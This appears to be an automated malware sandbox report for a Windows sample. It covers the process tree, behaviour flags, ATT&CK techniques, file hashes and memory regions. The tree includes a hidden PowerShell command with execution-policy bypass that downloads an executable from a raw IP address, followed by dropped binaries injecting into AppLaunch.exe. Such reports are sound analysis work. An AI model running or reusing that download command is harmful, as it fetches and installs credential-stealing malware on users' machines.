PID 19284 wrote to memory of 112564	19284	rog.exe	AppLaunch.exe
PID 19304 wrote to memory of 70572	19304	xerax.exe	AppLaunch.exe
PID 19284 wrote to memory of 112564	19284	rog.exe	AppLaunch.exe
PID 5100 wrote to memory of 139424	5100	rog.exe	AppLaunch.exe
PID 5100 wrote to memory of 139424	5100	rog.exe	AppLaunch.exe
PID 5100 wrote to memory of 139424	5100	rog.exe	AppLaunch.exe
PID 5100 wrote to memory of 139424	5100	rog.exe	AppLaunch.exe
PID 5100 wrote to memory of 139424	5100	rog.exe	AppLaunch.exe
PID 140680 wrote to memory of 141368	140680	MicrosoftEdgeCP.exe	MicrosoftEdgeCP.exe
PID 140680 wrote to memory of 141368	140680	MicrosoftEdgeCP.exe	MicrosoftEdgeCP.exe
PID 140680 wrote to memory of 141368	140680	MicrosoftEdgeCP.exe	MicrosoftEdgeCP.exe
PID 76012 wrote to memory of 144660	76012	gg.exe	app.exe
PID 76012 wrote to memory of 144660	76012	gg.exe	app.exe
PID 76012 wrote to memory of 144660	76012	gg.exe	app.exe

C:\Users\Admin\AppData\Local\Temp\391d8db75e7ff6684b8b81bcfcf3622d832b0ef7aa0b29d01f8a84f5c880a017.exe
"C:\Users\Admin\AppData\Local\Temp\391d8db75e7ff6684b8b81bcfcf3622d832b0ef7aa0b29d01f8a84f5c880a017.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3068

C:\Users\Admin\AppData\Local\Temp\ba.exe
"C:\Users\Admin\AppData\Local\Temp\ba.exe"
2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4316

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -WindowStyle Hidden Invoke-WebRequest -uri http://5.161.104.85/sg.exe -OutFile C:\Users\Admin\AppData\Local\Temp\sg.exe
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2828

C:\Users\Admin\AppData\Local\Temp\sg.exe
"C:\Users\Admin\AppData\Local\Temp\sg.exe"
3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4224

C:\Users\Admin\AppData\Local\Temp\rog.exe
"C:\Users\Admin\AppData\Local\Temp\rog.exe"
4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:19284

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:112564

C:\Users\Admin\AppData\Local\Temp\xerax.exe
"C:\Users\Admin\AppData\Local\Temp\xerax.exe"
4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:19304

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:70572

C:\Users\Admin\AppData\Local\Temp\gor.exe
"C:\Users\Admin\AppData\Local\Temp\gor.exe"
4⤵
- Executes dropped EXE
PID:23568

C:\Users\Admin\AppData\Local\Temp\gg.exe
"C:\Users\Admin\AppData\Local\Temp\gg.exe"
4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:76012

C:\Users\Admin\AppData\Roaming\T5I89B3US0ZCQ3C\app.exe
"C:\Users\Admin\AppData\Roaming\T5I89B3US0ZCQ3C\app.exe"
5⤵
- Executes dropped EXE
PID:144660

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" explorer https://discord.gg/zcheats
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4228

C:\Windows\explorer.exe
"C:\Windows\explorer.exe" https://discord.gg/zcheats
4⤵
PID:19196

C:\Users\Admin\AppData\Local\Temp\sg.exe
"C:\Users\Admin\AppData\Local\Temp\sg.exe"
2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1200

C:\Users\Admin\AppData\Local\Temp\rog.exe
"C:\Users\Admin\AppData\Local\Temp\rog.exe"
3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:5100

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:139424

C:\Users\Admin\AppData\Local\Temp\xerax.exe
"C:\Users\Admin\AppData\Local\Temp\xerax.exe"
3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:19016

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:132628

C:\Users\Admin\AppData\Local\Temp\gor.exe
"C:\Users\Admin\AppData\Local\Temp\gor.exe"
3⤵
- Executes dropped EXE
PID:19236

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
PID:22832

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:112680

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
- Modifies Internet Explorer settings
PID:65232

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:140680

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
PID:141368

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:144380

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
PID:147352

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
PID:137296

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Web Service

T1102

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
3KB

MD5
d737fc27bbf2f3bd19d1706af83dbe3f

SHA1
212d219394124968b50769c371121a577d973985

SHA256
b96b55a2acd9c790092e8132b31e5f0110492f98828098112d46f2f9faa2b982

SHA512
974c2db081dd6d1f45763371c41e01173b189ea1a2d893d0bc415670bfa12f3934ba9dea64018b8c063017454d4d92888d6fe6eaad1659e420ba9adcde5e788b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\AppLaunch.exe.log
Filesize
2KB

MD5
49e0baabdcd5cd010dd66014f5285cf5

SHA1
e8fbb8366fcb271d12155236844b70415ad63e1b

SHA256
520dd5800842eccd53ba88f407b172b26352226a961486a3f4cbaaa2d8181021

SHA512
6f04baa83a8f316196834a7fe4e8a932e332122a0e5b0b3fd8fd76ae344fd1ab28e9829c379831f5dbd34a1c04e221f7abf16b7000242785ad73c3b286d4c2d6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
47dc723f405f5926bcdbb14a8b33a1c3

SHA1
d7cd6a594ba155dab724ac261ed08ef66856c151

SHA256
c7a59c4ae26ad4673e64d8b27a3c45bf8a2de2f7062e2ac248c2df4282e2d37b

SHA512
9c7f9d372fb3f1d275d9262b487d03c48559337e2ba550f843dd30f118e6d62a7c59e7b9f17ff87eb7d78c915a9f30a29eecbfc1e566631e533e387f8c24c366

Download Submit
C:\Users\Admin\AppData\Local\Temp\ba.exe
Filesize
18KB

MD5
61f45eab008bcde3e3a3c063772aab2f

SHA1
667d79cb382b6a92961092b909bb28b749c5bf24

SHA256
5c762e43a8894a74249b7db0eded67453ac96c216a10cda8e7beca238293bac4

SHA512
ea214fe31980a4cd7c69e5daab1116f8ade305782fe16362955781c27b5dc0892a4c92b48f01708bf643dc3675afd14d31cb9f7df3f8e5db7a8daac7de044a8c

Download Submit
C:\Users\Admin\AppData\Local\Temp\ba.exe
Filesize
18KB

MD5
61f45eab008bcde3e3a3c063772aab2f

SHA1
667d79cb382b6a92961092b909bb28b749c5bf24

SHA256
5c762e43a8894a74249b7db0eded67453ac96c216a10cda8e7beca238293bac4

SHA512
ea214fe31980a4cd7c69e5daab1116f8ade305782fe16362955781c27b5dc0892a4c92b48f01708bf643dc3675afd14d31cb9f7df3f8e5db7a8daac7de044a8c

Download Submit
C:\Users\Admin\AppData\Local\Temp\gg.exe
Filesize
693KB

MD5
e740fd2f754a367412bc27005e6aaccb

SHA1
c60104438c97d9966fa698162c82d2d2b2550c0b

SHA256
d895d3572910814cbdde2f48c16ec3fb15a07b2238bb7ec2685f004b527f2cbb

SHA512
d48992867d7032c918fe63bab2141c748c3308becbecf0b07a77370d0f33b1fbca542647f7898ccdd179fd23e2f6a90bc50b2b6d5f2a31060650c7883e55f5d3

Download Submit
C:\Users\Admin\AppData\Local\Temp\gg.exe
Filesize
693KB

MD5
e740fd2f754a367412bc27005e6aaccb

SHA1
c60104438c97d9966fa698162c82d2d2b2550c0b

SHA256
d895d3572910814cbdde2f48c16ec3fb15a07b2238bb7ec2685f004b527f2cbb

SHA512
d48992867d7032c918fe63bab2141c748c3308becbecf0b07a77370d0f33b1fbca542647f7898ccdd179fd23e2f6a90bc50b2b6d5f2a31060650c7883e55f5d3

Download Submit
C:\Users\Admin\AppData\Local\Temp\gg.exe
Filesize
693KB

MD5
e740fd2f754a367412bc27005e6aaccb

SHA1
c60104438c97d9966fa698162c82d2d2b2550c0b

SHA256
d895d3572910814cbdde2f48c16ec3fb15a07b2238bb7ec2685f004b527f2cbb

SHA512
d48992867d7032c918fe63bab2141c748c3308becbecf0b07a77370d0f33b1fbca542647f7898ccdd179fd23e2f6a90bc50b2b6d5f2a31060650c7883e55f5d3

Download Submit
C:\Users\Admin\AppData\Local\Temp\gor.exe
Filesize
212KB

MD5
d25ae430b30fa2e0c38b50d054b1ea5e

SHA1
f67497d2014fbbf4bd2d40aa14a0e274c0309527

SHA256
c21084cfecb765173b2cd8f902fa17194e89e278f6ebc0bfba2abacd600d90a4

SHA512
520bcc2c0fa217b61a267c34891ae4cdf72dca8de27fa4afcba9dacd9c00fc6707759d571f644e2538f5bcf00d4a32e26e875ccdd6c784e3dff09c66aab38bc9

Download Submit
C:\Users\Admin\AppData\Local\Temp\gor.exe
Filesize
212KB

MD5
d25ae430b30fa2e0c38b50d054b1ea5e

SHA1
f67497d2014fbbf4bd2d40aa14a0e274c0309527

SHA256
c21084cfecb765173b2cd8f902fa17194e89e278f6ebc0bfba2abacd600d90a4

SHA512
520bcc2c0fa217b61a267c34891ae4cdf72dca8de27fa4afcba9dacd9c00fc6707759d571f644e2538f5bcf00d4a32e26e875ccdd6c784e3dff09c66aab38bc9

Download Submit
C:\Users\Admin\AppData\Local\Temp\gor.exe
Filesize
212KB

MD5
d25ae430b30fa2e0c38b50d054b1ea5e

SHA1
f67497d2014fbbf4bd2d40aa14a0e274c0309527

SHA256
c21084cfecb765173b2cd8f902fa17194e89e278f6ebc0bfba2abacd600d90a4

SHA512
520bcc2c0fa217b61a267c34891ae4cdf72dca8de27fa4afcba9dacd9c00fc6707759d571f644e2538f5bcf00d4a32e26e875ccdd6c784e3dff09c66aab38bc9

Download Submit
C:\Users\Admin\AppData\Local\Temp\rog.exe
Filesize
2.6MB

MD5
0c4fd32a439820037d08d68687807598

SHA1
644113b692d3f16a6f329a24b4be6ca1a636c568

SHA256
eca0b857de4682a5c859409d8ad7f9f2f6823ab770b9de8504db557b5f3d4240

SHA512
057948b3ace67ea088a021c93e7a25ccd3a3de2ee277ad17767fe1cea6ab88c2797ad78607d04d2373f0e9445d7d164a09af34dd1694fa30be659efb8e397179

Download Submit
C:\Users\Admin\AppData\Local\Temp\rog.exe
Filesize
2.6MB

MD5
0c4fd32a439820037d08d68687807598

SHA1
644113b692d3f16a6f329a24b4be6ca1a636c568

SHA256
eca0b857de4682a5c859409d8ad7f9f2f6823ab770b9de8504db557b5f3d4240

SHA512
057948b3ace67ea088a021c93e7a25ccd3a3de2ee277ad17767fe1cea6ab88c2797ad78607d04d2373f0e9445d7d164a09af34dd1694fa30be659efb8e397179

Download Submit
C:\Users\Admin\AppData\Local\Temp\rog.exe
Filesize
2.6MB

MD5
0c4fd32a439820037d08d68687807598

SHA1
644113b692d3f16a6f329a24b4be6ca1a636c568

SHA256
eca0b857de4682a5c859409d8ad7f9f2f6823ab770b9de8504db557b5f3d4240

SHA512
057948b3ace67ea088a021c93e7a25ccd3a3de2ee277ad17767fe1cea6ab88c2797ad78607d04d2373f0e9445d7d164a09af34dd1694fa30be659efb8e397179

Download Submit
C:\Users\Admin\AppData\Local\Temp\sg.exe
Filesize
1.7MB

MD5
5f48f3eceef12e98821d2a26b0e039ce

SHA1
a98164df15415cfb0a22b7d8382f04914e5fef56

SHA256
15c61bff122689fbca8f61c8cc3c77d54a7320a7427e9b098fec82233459884a

SHA512
cdc698888018581607cf14fc2d6e3b7bfcee8c4dd7bef7b6b895845190e11e5866f1d62709432f600cd6c9905d7c858d505f050616068e37b42524d6acd3ffde

Download Submit
C:\Users\Admin\AppData\Local\Temp\sg.exe
Filesize
1.7MB

MD5
5f48f3eceef12e98821d2a26b0e039ce

SHA1
a98164df15415cfb0a22b7d8382f04914e5fef56

SHA256
15c61bff122689fbca8f61c8cc3c77d54a7320a7427e9b098fec82233459884a

SHA512
cdc698888018581607cf14fc2d6e3b7bfcee8c4dd7bef7b6b895845190e11e5866f1d62709432f600cd6c9905d7c858d505f050616068e37b42524d6acd3ffde

Download Submit
C:\Users\Admin\AppData\Local\Temp\sg.exe
Filesize
1.7MB

MD5
5f48f3eceef12e98821d2a26b0e039ce

SHA1
a98164df15415cfb0a22b7d8382f04914e5fef56

SHA256
15c61bff122689fbca8f61c8cc3c77d54a7320a7427e9b098fec82233459884a

SHA512
cdc698888018581607cf14fc2d6e3b7bfcee8c4dd7bef7b6b895845190e11e5866f1d62709432f600cd6c9905d7c858d505f050616068e37b42524d6acd3ffde

Download Submit
C:\Users\Admin\AppData\Local\Temp\xerax.exe
Filesize
2.6MB

MD5
ad0cb75c2e63718ded2aff1e87797460

SHA1
3147252b276123f18a8b7a9454d2bb616d26c443

SHA256
38f6b932f8366f609b1415694cac002437aff95af435342e6a9c8db5224f5a5a

SHA512
ff59793d31f078e3a88a6d7b72a2523050fdbb02ab2cd9f2637dd5c4ccc90e8ccba32208140064a30a0c773e85cc4ca6f7d7aa19e7e770ed27f87e8486964c68

Download Submit
C:\Users\Admin\AppData\Local\Temp\xerax.exe
Filesize
2.6MB

MD5
ad0cb75c2e63718ded2aff1e87797460

SHA1
3147252b276123f18a8b7a9454d2bb616d26c443

SHA256
38f6b932f8366f609b1415694cac002437aff95af435342e6a9c8db5224f5a5a

SHA512
ff59793d31f078e3a88a6d7b72a2523050fdbb02ab2cd9f2637dd5c4ccc90e8ccba32208140064a30a0c773e85cc4ca6f7d7aa19e7e770ed27f87e8486964c68

Download Submit
C:\Users\Admin\AppData\Local\Temp\xerax.exe
Filesize
2.6MB

MD5
ad0cb75c2e63718ded2aff1e87797460

SHA1
3147252b276123f18a8b7a9454d2bb616d26c443

SHA256
38f6b932f8366f609b1415694cac002437aff95af435342e6a9c8db5224f5a5a

SHA512
ff59793d31f078e3a88a6d7b72a2523050fdbb02ab2cd9f2637dd5c4ccc90e8ccba32208140064a30a0c773e85cc4ca6f7d7aa19e7e770ed27f87e8486964c68

Download Submit
C:\Users\Admin\AppData\Roaming\T5I89B3US0ZCQ3C\app.exe
Filesize
107KB

MD5
59ec0d84dfa73c1ef7501ad6f97f8d6f

SHA1
46cfc8000022f90c1a3ce2e0ff08d8ba5b8dfa49

SHA256
8cc6e08053bb8d9386ae9484023c2ec7345bcf1b710691926e1d7194c7f4971d

SHA512
8865d8084aef3aee8bd2fdc7c492592567620ecb828491ffc0ef73a1a32299ca8e0768edced32ab0dbf38f5dacf79fb44747074f7acaedeac2f7070cb94d1bbd

Download Submit
C:\Users\Admin\AppData\Roaming\T5I89B3US0ZCQ3C\app.exe
Filesize
107KB

MD5
59ec0d84dfa73c1ef7501ad6f97f8d6f

SHA1
46cfc8000022f90c1a3ce2e0ff08d8ba5b8dfa49

SHA256
8cc6e08053bb8d9386ae9484023c2ec7345bcf1b710691926e1d7194c7f4971d

SHA512
8865d8084aef3aee8bd2fdc7c492592567620ecb828491ffc0ef73a1a32299ca8e0768edced32ab0dbf38f5dacf79fb44747074f7acaedeac2f7070cb94d1bbd

Download Submit
memory/1200-189-0x0000000000000000-mapping.dmp

Download
memory/2828-187-0x0000000000000000-mapping.dmp

Download
memory/3068-148-0x0000000076FE0000-0x000000007716E000-memory.dmp

Filesize
1.6MB

Download
memory/3068-171-0x0000000076FE0000-0x000000007716E000-memory.dmp

Filesize
1.6MB

Download
memory/3068-142-0x0000000076FE0000-0x000000007716E000-memory.dmp

Filesize
1.6MB

Download
memory/3068-143-0x0000000076FE0000-0x000000007716E000-memory.dmp

Filesize
1.6MB

Download
memory/3068-144-0x0000000076FE0000-0x000000007716E000-memory.dmp

Filesize
1.6MB

Download
memory/3068-145-0x0000000076FE0000-0x000000007716E000-memory.dmp

Filesize
1.6MB

Download
memory/3068-146-0x0000000076FE0000-0x000000007716E000-memory.dmp

Filesize
1.6MB

Download
memory/3068-147-0x0000000076FE0000-0x000000007716E000-memory.dmp

Filesize
1.6MB

Download
memory/3068-116-0x0000000076FE0000-0x000000007716E000-memory.dmp

Filesize
1.6MB

Download
memory/3068-149-0x0000000076FE0000-0x000000007716E000-memory.dmp

Filesize
1.6MB

Download
memory/3068-150-0x0000000076FE0000-0x000000007716E000-memory.dmp

Filesize
1.6MB

Download
memory/3068-151-0x0000000076FE0000-0x000000007716E000-memory.dmp

Filesize
1.6MB

Download
memory/3068-152-0x0000000076FE0000-0x000000007716E000-memory.dmp

Filesize
1.6MB

Download
memory/3068-153-0x0000000076FE0000-0x000000007716E000-memory.dmp

Filesize
1.6MB

Download
memory/3068-154-0x0000000076FE0000-0x000000007716E000-memory.dmp

Filesize
1.6MB

Download
memory/3068-155-0x0000000076FE0000-0x000000007716E000-memory.dmp

Filesize
1.6MB

Download
memory/3068-156-0x0000000076FE0000-0x000000007716E000-memory.dmp

Filesize
1.6MB

Download
memory/3068-157-0x0000000076FE0000-0x000000007716E000-memory.dmp

Filesize
1.6MB

Download
memory/3068-158-0x0000000076FE0000-0x000000007716E000-memory.dmp

Filesize
1.6MB

Download
memory/3068-159-0x0000000076FE0000-0x000000007716E000-memory.dmp

Filesize
1.6MB

Download
memory/3068-160-0x0000000076FE0000-0x000000007716E000-memory.dmp

Filesize
1.6MB

Download
memory/3068-161-0x0000000076FE0000-0x000000007716E000-memory.dmp

Filesize
1.6MB

Download
memory/3068-162-0x0000000076FE0000-0x000000007716E000-memory.dmp

Filesize
1.6MB

Download
memory/3068-163-0x0000000076FE0000-0x000000007716E000-memory.dmp

Filesize
1.6MB

Download
memory/3068-164-0x0000000076FE0000-0x000000007716E000-memory.dmp

Filesize
1.6MB

Download
memory/3068-165-0x0000000076FE0000-0x000000007716E000-memory.dmp

Filesize
1.6MB

Download
memory/3068-166-0x0000000076FE0000-0x000000007716E000-memory.dmp

Filesize
1.6MB

Download
memory/3068-167-0x0000000076FE0000-0x000000007716E000-memory.dmp

Filesize
1.6MB

Download
memory/3068-168-0x0000000076FE0000-0x000000007716E000-memory.dmp

Filesize
1.6MB

Download
memory/3068-169-0x0000000076FE0000-0x000000007716E000-memory.dmp

Filesize
1.6MB

Download
memory/3068-170-0x0000000076FE0000-0x000000007716E000-memory.dmp

Filesize
1.6MB

Download
memory/3068-126-0x0000000076FE0000-0x000000007716E000-memory.dmp

Filesize
1.6MB

Download
memory/3068-172-0x0000000076FE0000-0x000000007716E000-memory.dmp

Filesize
1.6MB

Download
memory/3068-173-0x0000000076FE0000-0x000000007716E000-memory.dmp

Filesize
1.6MB

Download
memory/3068-174-0x0000000076FE0000-0x000000007716E000-memory.dmp

Filesize
1.6MB

Download
memory/3068-175-0x0000000076FE0000-0x000000007716E000-memory.dmp

Filesize
1.6MB

Download
memory/3068-176-0x0000000076FE0000-0x000000007716E000-memory.dmp

Filesize
1.6MB

Download
memory/3068-117-0x0000000076FE0000-0x000000007716E000-memory.dmp

Filesize
1.6MB

Download
memory/3068-140-0x0000000076FE0000-0x000000007716E000-memory.dmp

Filesize
1.6MB

Download
memory/3068-179-0x0000000076FE0000-0x000000007716E000-memory.dmp

Filesize
1.6MB

Download
memory/3068-180-0x0000000076FE0000-0x000000007716E000-memory.dmp

Filesize
1.6MB

Download
memory/3068-138-0x0000000076FE0000-0x000000007716E000-memory.dmp

Filesize
1.6MB

Download
memory/3068-118-0x0000000076FE0000-0x000000007716E000-memory.dmp

Filesize
1.6MB

Download
memory/3068-119-0x0000000076FE0000-0x000000007716E000-memory.dmp

Filesize
1.6MB

Download
memory/3068-120-0x0000000076FE0000-0x000000007716E000-memory.dmp

Filesize
1.6MB

Download
memory/3068-139-0x0000000076FE0000-0x000000007716E000-memory.dmp

Filesize
1.6MB

Download
memory/3068-185-0x0000000076FE0000-0x000000007716E000-memory.dmp

Filesize
1.6MB

Download
memory/3068-137-0x0000000076FE0000-0x000000007716E000-memory.dmp

Filesize
1.6MB

Download
memory/3068-136-0x0000000076FE0000-0x000000007716E000-memory.dmp

Filesize
1.6MB

Download
memory/3068-135-0x0000000076FE0000-0x000000007716E000-memory.dmp

Filesize
1.6MB

Download
memory/3068-141-0x0000000076FE0000-0x000000007716E000-memory.dmp

Filesize
1.6MB

Download
memory/3068-134-0x0000000076FE0000-0x000000007716E000-memory.dmp

Filesize
1.6MB

Download
memory/3068-121-0x0000000076FE0000-0x000000007716E000-memory.dmp

Filesize
1.6MB

Download
memory/3068-133-0x0000000076FE0000-0x000000007716E000-memory.dmp

Filesize
1.6MB

Download
memory/3068-122-0x0000000076FE0000-0x000000007716E000-memory.dmp

Filesize
1.6MB

Download
memory/3068-131-0x0000000076FE0000-0x000000007716E000-memory.dmp

Filesize
1.6MB

Download
memory/3068-132-0x0000000076FE0000-0x000000007716E000-memory.dmp

Filesize
1.6MB

Download
memory/3068-130-0x0000000076FE0000-0x000000007716E000-memory.dmp

Filesize
1.6MB

Download
memory/3068-123-0x0000000076FE0000-0x000000007716E000-memory.dmp

Filesize
1.6MB

Download
memory/3068-129-0x0000000076FE0000-0x000000007716E000-memory.dmp

Filesize
1.6MB

Download
memory/3068-128-0x0000000076FE0000-0x000000007716E000-memory.dmp

Filesize
1.6MB

Download
memory/3068-124-0x0000000076FE0000-0x000000007716E000-memory.dmp

Filesize
1.6MB

Download
memory/3068-125-0x0000000076FE0000-0x000000007716E000-memory.dmp

Filesize
1.6MB

Download
memory/3068-127-0x0000000076FE0000-0x000000007716E000-memory.dmp

Filesize
1.6MB

Download
memory/4224-268-0x0000000000000000-mapping.dmp

Download
memory/4228-276-0x0000000000000000-mapping.dmp

Download
memory/4316-183-0x000000001B130000-0x000000001B152000-memory.dmp

Filesize
136KB

Download
memory/4316-177-0x0000000000000000-mapping.dmp

Download
memory/4316-182-0x00000000005C0000-0x00000000005CA000-memory.dmp

Filesize
40KB

Download
memory/4316-184-0x000000001B500000-0x000000001B576000-memory.dmp

Filesize
472KB

Download
memory/5100-293-0x0000000000000000-mapping.dmp

Download
memory/19016-330-0x0000000000000000-mapping.dmp

Download
memory/19196-356-0x0000000000000000-mapping.dmp

Download
memory/19236-361-0x0000000000000000-mapping.dmp

Download
memory/19284-367-0x0000000000000000-mapping.dmp

Download
memory/19304-370-0x0000000000000000-mapping.dmp

Download
memory/23568-379-0x0000000000000000-mapping.dmp

Download
memory/70572-510-0x00000000003D734E-mapping.dmp

Download
memory/70572-650-0x00000000003C0000-0x00000000003DC000-memory.dmp

Filesize
112KB

Download
memory/70572-871-0x000000000A670000-0x000000000AB9C000-memory.dmp

Filesize
5.2MB

Download
memory/70572-866-0x0000000009F70000-0x000000000A132000-memory.dmp

Filesize
1.8MB

Download
memory/70572-774-0x0000000008C20000-0x0000000008CB2000-memory.dmp

Filesize
584KB

Download
memory/76012-841-0x000000000B2E0000-0x000000000B318000-memory.dmp

Filesize
224KB

Download
memory/76012-441-0x0000000000000000-mapping.dmp

Download
memory/76012-1633-0x000000000C240000-0x000000000C2BA000-memory.dmp

Filesize
488KB

Download
memory/76012-546-0x0000000000A20000-0x0000000000AD4000-memory.dmp

Filesize
720KB

Download
memory/76012-820-0x0000000009750000-0x0000000009758000-memory.dmp

Filesize
32KB

Download
memory/112564-653-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/112564-520-0x000000000041ADC2-mapping.dmp

Download
memory/112564-1142-0x000000000A9C0000-0x000000000A9DE000-memory.dmp

Filesize
120KB

Download
memory/132628-585-0x0000000000350000-0x000000000036C000-memory.dmp

Filesize
112KB

Download
memory/132628-468-0x000000000036734E-mapping.dmp

Download
memory/132628-655-0x0000000008AC0000-0x0000000008AD2000-memory.dmp

Filesize
72KB

Download
memory/132628-651-0x0000000009060000-0x0000000009666000-memory.dmp

Filesize
6.0MB

Download
memory/132628-763-0x0000000008E80000-0x0000000008EE6000-memory.dmp

Filesize
408KB

Download
memory/132628-885-0x0000000009B10000-0x0000000009B60000-memory.dmp

Filesize
320KB

Download
memory/132628-887-0x000000000A1F0000-0x000000000A266000-memory.dmp

Filesize
472KB

Download
memory/132628-750-0x0000000009B70000-0x000000000A06E000-memory.dmp

Filesize
5.0MB

Download
memory/132628-697-0x0000000008B70000-0x0000000008BBB000-memory.dmp

Filesize
300KB

Download
memory/132628-671-0x0000000008B30000-0x0000000008B6E000-memory.dmp

Filesize
248KB

Download
memory/132628-659-0x0000000008BF0000-0x0000000008CFA000-memory.dmp

Filesize
1.0MB

Download
memory/139424-749-0x000000000041ADC2-mapping.dmp

Download
memory/144660-1804-0x0000000000000000-mapping.dmp

Download
memory/144660-1905-0x00000000004F0000-0x0000000000510000-memory.dmp

Filesize
128KB

Download